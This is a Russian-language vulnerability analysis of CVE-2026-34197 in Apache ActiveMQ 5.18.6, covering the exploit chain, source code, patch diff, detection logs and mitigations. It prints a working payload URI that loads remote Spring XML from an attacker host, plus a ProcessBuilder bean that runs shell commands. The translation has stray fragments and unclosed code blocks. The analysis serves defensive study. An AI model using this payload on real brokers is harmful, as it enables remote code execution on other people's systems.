=> RCE успешно выполнен, файл `blahblah.txt` был создан на целевой системе.

# Фаза анализа
## Динамический анализ```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)

❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

Проверьте подключение```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

Затем найдите чистую цепочку с помощью grep```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

Эта строка критически важна, поскольку она подтверждает, что управляемый атакующим URI, переданный через:```java
BrokerView.addNetworkConnector(String)

This URI contains two important parts:

| Component       | Purpose                                           |
| --------------- | ------------------------------------------------- |
| `static:(...)`  | Обёртка, используемая коннекторами обнаружения ActiveMQ     |
| `vm://evil?...` | URI транспорта VM, обрабатываемый внутри ActiveMQ        |

The `static:(...)` wrapper itself is not the vulnerable component. Its purpose is to pass the enclosed transport URI into ActiveMQ's network connector subsystem.

During runtime execution, ActiveMQ extracted and processed the inner VM transport URI:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

Параметр `brokerConfig=` является критической частью полезной нагрузки. Он предписывал транспортному уровню VM динамически создать экземпляр брокера, используя внешнюю конфигурацию Spring xbean, загружаемую из:```text
http://192.168.1.32:9999/evil.xml

В результате удалённый XML-документ был разобран и создан как контекст приложения Spring внутри JVM брокера.

Вредоносный XML содержал следующий Spring-бин:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

Поскольку Spring немедленно создаёт синглтон-бины во время инициализации контекста, метод `ProcessBuilder.start()` выполнялся до того, как ActiveMQ проверял, безопасна ли и валидна ли сама конфигурация брокера.

Это приводило к выполнению произвольных команд на целевом контейнере.

Эксплойт был подтверждён проверкой каталога `/tmp` внутри контейнера ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

Это доказывает, что произвольные команды операционной системы были успешно выполнены в контексте контейнера ActiveMQ.

Трассировка стека времени выполнения также выявила полный путь выполнения уязвимости:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

Одним из наиболее важных наблюдений во время динамического анализа был порядок, в котором Spring и ActiveMQ обработали вредоносную конфигурацию.

После успешного выполнения полезной нагрузки ActiveMQ позднее сгенерировал следующее предупреждение:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

Несмотря на то, что сама конфигурация брокера в конечном итоге была отклонена, вредоносный Spring-бин уже был создан и выполнен.

Эта проблема порядка выполнения является основной логической ошибкой, лежащей в основе CVE-2026-34197.

Динамический анализ выявил следующие компоненты, участвующие в цепочке эксплуатации:

| Компонент                     | Роль                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | HTTP-мост к JMX                    |
| BrokerView                    | Открытый управляющий MBean         |
| VMTransportFactory            | Разбирает транспортный URI `vm://` |
| BrokerFactory                 | Создаёт экземпляр брокера          |
| XBeanBrokerFactory            | Загружает конфигурацию Spring xbean |
| ResourceXmlApplicationContext | Загружает удалённый XML            |
| XmlBeanDefinitionReader       | Разбирает определения Spring-бинов |
| Spring BeanFactory            | Создаёт экземпляры синглтон-бинов  |
| ProcessBuilder                | Выполняет команды операционной системы |

Динамический анализ подтверждает, что CVE-2026-34197 вызвана взаимодействием следующих факторов:

* Чрезмерно разрешительные управляющие операции Jolokia
* Контролируемые атакующим транспортные URI
* Автоматическое создание брокера VM-транспорта
* Удалённая загрузка конфигурации Spring xbean
* Немедленное создание синглтон-бинов до проверки

В результате аутентифицированный атакующий может добиться выполнения произвольного кода в JVM ActiveMQ, передав вредоносный URI `brokerConfig=xbean:http://...` через операцию `addNetworkConnector()`, доступную через Jolokia.

### Обзор архитектуры

Apache ActiveMQ Classic предоставляет управляющий интерфейс через мост Jolokia JMX-HTTP, доступный по адресу:```text id="n0vmrq"
/api/jolokia/

| Component             | Function                                     |
| --------------------- | -------------------------------------------- |
| Jolokia               | Предоставляет операции JMX через HTTP        |
| BrokerView            | Интерфейс управления MBean                   |
| VMTransportFactory    | Обрабатывает URI транспорта `vm://`          |
| BrokerFactory         | Динамически создаёт брокеры                  |
| XBeanBrokerFactory    | Загружает конфигурации Spring xbean          |
| Spring Context Loader | Разбирает и создаёт экземпляры определений XML-бинов |
| ProcessBuilder        | Выполняет команды операционной системы       |

Архитектура становится уязвимой, потому что ActiveMQ позволяет аутентифицированным пользователям вызывать опасные методы управления брокером с URI транспорта, контролируемыми атакующим.

---

### Анализ поверхности атаки

Основная поверхность атаки — это HTTP-эндпоинт Jolokia, доступный через веб-консоль ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/

Конечная точка Jolokia принимала аутентифицированные запросы с использованием HTTP Basic Authentication:```json id="13tzmx"
"authMode":"basic"

Этот метод принимает управляемый пользователем транспортный URI без достаточного ограничения опасных схем URI или параметров конфигурации.

Злоумышленник предоставил следующий payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

Критическим параметром является:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

Затем Spring загрузил удалённый XML через:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

Во время инициализации контекста Spring-приложения синглтон-бины создаются немедленно. В результате метод `ProcessBuilder.start()` выполнился сразу.

Ключевой логический недостаток заключается в том, что создание Spring-бина произошло до того, как ActiveMQ проверил, является ли сама конфигурация брокера безопасной или допустимой.

Это поведение было доказано динамически, поскольку:

1. Вредоносная полезная нагрузка успешно создала `/tmp/blahblah.txt`
2. ActiveMQ позже отклонил конфигурацию брокера, выдав:```text id="6k1dwn"
The configuration has no BrokerService instance

через:```text id="pt2n3d"
/api/jolokia/

Пример вредоносного payload:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

Неожиданный исходящий HTTP-трафик из JVM брокера должен быть расследован.

#### Подозрительные журналы выполнения

Следующие сообщения во время выполнения подозрительны:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

Please provide the Markdown content to translate.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

или подозрительное выполнение дочерних процессов из JVM ActiveMQ может указывать на эксплуатацию.

---

### Анализ воздействия

Успешная эксплуатация позволяет аутентифицированное удалённое выполнение кода в контексте JVM ActiveMQ.

В проанализированной среде произвольные команды операционной системы успешно выполнялись внутри контейнера:```bash id="2hyz0w"
touch /tmp/blahblah.txt

Файл был создан как:```text id="9phgkz"
Uid: (0/root)

#### Ограничьте доступ к Jolokia

Отключите Jolokia, если он не требуется.

Если Jolokia должен оставаться включённым:

* Ограничьте доступ только доверенными административными сетями
* Применяйте строгую аутентификацию
* Отключите опасные операции exec
* Применяйте строгие политики доступа к Jolokia

#### Удалите учётные данные по умолчанию

Не используйте:```text id="9mw1xv"
admin:admin

Интерфейс MBean предоставляет операцию как:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

Затем объект коннектора настраивается с URI локального брокера и добавляется к брокеру:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

Для URI эксплойта:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

Уязвимый метод:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

Параметр `create` по умолчанию имеет значение `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

Это нарушение границы привилегий на транспортном уровне. URI, переданный через плоскость управления, интерпретируется транспортом VM как инструкция создать брокер из произвольного URI конфигурации.

Оставшаяся проверка параметров выполняется после создания брокера:```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

Для `static:(...)`, `SimpleDiscoveryAgent.start()` немедленно эмитирует каждый сконфигурированный сервис:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

Поиск обработчика основан на схеме:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

Точный статический поток вызовов:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

Кому:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

`createBroker()` извлекает часть URI `xbean:`, специфичную для схемы, и создаёт контекст приложения Spring перед проверкой, содержит ли он брокер:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

Удалённые ресурсы принимаются функцией `Utils.resourceFromString()`:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

сводится к:```text
http://192.168.1.32:9999/evil.xml

В XBean 4.25, `ResourceXmlApplicationContext` вызывает `refresh()` из своего конструктора:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

`AbstractApplicationContext.refresh()` в Spring затем инициализирует фабрику бинов и создаёт экземпляры неленивых синглтон-бинов:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

`DefaultListableBeanFactory.preInstantiateSingletons()` создаёт каждый неабстрактный, синглтонный, неленивый бин:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

Пользовательский метод инициализации определяется из определения бина:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

Вредоносный Spring XML-бин, например:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

Это происходит до того, как `XBeanBrokerFactory.createBroker()` проверяет результирующий контекст на наличие bean (`BrokerService`):```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

Проверка выполняется слишком поздно, потому что единственная проверка конфигурации брокера в `XBeanBrokerFactory` происходит после:```java
new ResourceXmlApplicationContext(resource)

К тому моменту, как ActiveMQ определит, что XML не содержит допустимого `BrokerService`, управляемые атакующим Spring-бины могли уже выполниться.

---

### Анализ патча

Соответствующий дифф был проанализирован с помощью:```bash
git diff activemq-5.18.6..activemq-5.19.4

В 5.18.6, `addNetworkConnector()` напрямую передавал строку:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

Та же проверка была добавлена в `addConnector()`:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

Исправленный путь выполнения становится:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

Патч не удаляет поддержку VM-транспорта глобально. Он ограничивает использование `vm://` через методы создания коннекторов `BrokerView`, ориентированные на JMX. Внутренние или доверенные пути кода, использующие VM-транспорт, по-прежнему существуют.

Между версиями 5.18.6 и 5.19.4 в `VMTransportFactory.doCompositeConnect()` не было внесено изменений, влияющих на безопасность. Поведение `brokerConfig` остаётся прежним:```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

Это очистка типобезопасности, а не смягчение последствий RCE. Диспетчеризация на основе схемы к `XBeanBrokerFactory` остается.

`BrokerService` получил проверки `isAutoStart()` для запуска коннектора в некоторых путях:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

Эксплуатация возможна, поскольку ActiveMQ предоставляет управляющую операцию, которая принимает URI коннектора, но нижележащая реализация транспорта может интерпретировать этот URI как конфигурацию создания брокера. Параметр `brokerConfig` переходит из логики транспортного соединения в логику фабрики брокера. При значении `xbean:` он переходит далее в обработку Spring XML.

Примитив выполнения в Spring — это не отдельная ошибка десериализации. Это нормальное поведение жизненного цикла Spring: неленивый singleton-бин создаётся во время обновления контекста, и его настроенный `init-method` вызывается. Бин `java.lang.ProcessBuilder` с `init-method="start"` таким образом выполняет процесс во время инициализации контекста приложения.

Сбой проверки — это дефект порядка действий. ActiveMQ проверяет, содержит ли конфигурация XBean пригодный `BrokerService`, только после того, как `ResourceXmlApplicationContext` уже загрузил XML и инициализировал singleton-бины. Отклонение конфигурации брокера после обновления не отменяет побочных эффектов методов жизненного цикла бинов.

Патч 5.19.4 смягчает этот конкретный путь, добавляя проверку URI в `BrokerView` перед созданием коннектора и отклоняя использование транспорта `vm://` из поверхности управления JMX. Патч блокирует открытый путь к `VMTransportFactory.doCompositeConnect()`; он не удаляет `brokerConfig`, поддержку `xbean:` или загрузку Spring XBean из доверенных внутренних путей конфигурации.